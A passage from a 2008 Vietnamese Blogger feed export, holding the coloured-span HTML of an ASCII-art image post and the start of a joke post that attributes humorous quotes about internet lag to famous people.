206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(149, 118, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 89, 82);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(133, 55, 47);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(145, 92, 98);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 156, 185);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 183, 216);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 222);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWW&lt;br /&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(214, 164, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(189, 142, 120);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(202, 144, 121);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(189, 142, 120);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(206, 148, 123);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 165, 181);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 165, 185);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 165, 189);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 156, 185);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(148, 214, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(149, 118, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(143, 70, 75);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 105, 109);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWW&lt;br /&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(144, 59, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 189, 214);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 214, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 222);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(149, 118, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(149, 118, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 214, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 239, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WW&lt;br /&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 181, 198);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 156, 185);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 105, 109);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 66, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(145, 92, 98);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 141, 152);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 156, 185);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 175, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 181, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 181, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 181, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(146, 153, 166);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 156, 185);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 105, 102);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 66, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(145, 92, 98);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(146, 153, 166);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(144, 191, 228);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(144, 59, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 214, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 222, 222);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WW&lt;br /&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(208, 173, 159);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(228, 162, 134);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(206, 148, 123);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 165, 189);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(177, 192, 200);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WW&lt;br /&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(239, 231, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(171, 120, 105);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(142, 68, 60);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 214, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 189, 214);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(144, 59, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(143, 70, 75);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 214, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(120, 148, 168);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(247, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(146, 153, 166);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(156, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(144, 191, 228);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 169, 198);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 50, 47);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(142, 68, 60);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 105, 102);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 105, 109);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 105, 102);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 105, 109);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 105, 102);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(143, 70, 75);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(142, 68, 60);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 50, 47);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 181, 198);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(198, 219, 233);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(198, 231, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(214, 239, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 247, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(210, 185, 173);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(171, 120, 105);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(178, 222, 244);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(189, 222, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(204, 233, 251);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(222, 239, 251);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 247, 255);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWW&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(222, 222, 222);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(194, 190, 189);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div style="text-align: left;"&gt;Một tấm ảnh ASCII :D&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-2267053862561816065?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/2267053862561816065/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=2267053862561816065' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/2267053862561816065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/2267053862561816065'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/02/killer-ascii-image.html' title='The killer - ASCII image !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-3367950802459769192</id><published>2008-02-28T02:32:00.001-08:00</published><updated>2008-02-28T02:32:49.255-08:00</updated><title type='text'>Lag !!!!!!!!!!!!</title><content type='html'>Sir Alex Ferguson: Down server là nhất thời nhưng lag là mãi mãi&lt;br /&gt;&lt;br /&gt;V.I.Lenin : Lag , lag nữa , lag mãi&lt;br /&gt;&lt;br /&gt;M. Luther King : Tôi ước mơ một thế giới mà cả người xài Vịteo lẫn FPT đều lag như nhau&lt;br /&gt;&lt;br /&gt;Nelson Mandela : Liệu lag có xảy ra với người da trắng không?&lt;br /&gt;&lt;br /&gt;Chí Phèo : mẹ cha nó lag…&lt;br /&gt;&lt;br /&gt;Nguyên Vũ + Yến Trang: LAgg rồiiiiiiiii&lt;br /&gt;&lt;br /&gt;Einstein : Mọi trường hợp lag là như nhau trên mọi hệ quy chiếu&lt;br /&gt;&lt;br /&gt;Mĩ Linh (trong SMĐH): Nếu như chị không lầm thì em hơi lag đấy…&lt;br /&gt;&lt;br /&gt;Lại Văn Sâm: Liệu có LAG hay ko, chúng ta sẽ biết sau ít phút nữa!&lt;br /&gt;&lt;br /&gt;Quang Thắng (Ở nhà chủ nhật): Theo các bạn, LAG đúng hay sai&lt;br /&gt;&lt;br /&gt;Tạ Minh Tâm (Chung sức ) : chúng ta hãy chờ xem có bao nhiêu người đồng tình với bạn, LAG (bảng điểm kêu keng 1 cái)&lt;br /&gt;&lt;br /&gt;Thái TUấn (Đấu Trường 100) : Anh sẽ chọn cái LAg dễ hay khó ạh?&lt;br /&gt;&lt;br /&gt;LAG là một nghệ thuật, nguời bị LAG là một nghệ sĩ và bí quyết thành công của tôi là xài mạng Dialup đó các bạn&lt;br /&gt;&lt;br /&gt;Hồ Chí Minh : Sông có thể cạn núi có thể mòn song mạng việt nam ko bao giờ hết lag.&lt;br /&gt;&lt;br /&gt;Quỳnh Anh : Ko lag vì quá lag ( ai biết bài nè ko nhỉ? )&lt;br /&gt;&lt;br /&gt;Fugaca: bây giờ thì em đã hiểu lag là như thế nào&lt;br /&gt;&lt;br /&gt;Long Vũ(chiếc nón kỳ diệu), L có 1 chữ L, A có 1 chữ A, G có 1 chữ G. Bạn đã thắng trong vòng chơi đặc biệt và nhận được 1 đường truyền lag miễn phí của VDC&lt;br /&gt;&lt;br /&gt;Bush : việc VDC cung cấp dịch vụ lag là trái với nghị quyết của hội đồng bảo an liên hiệp quốc, 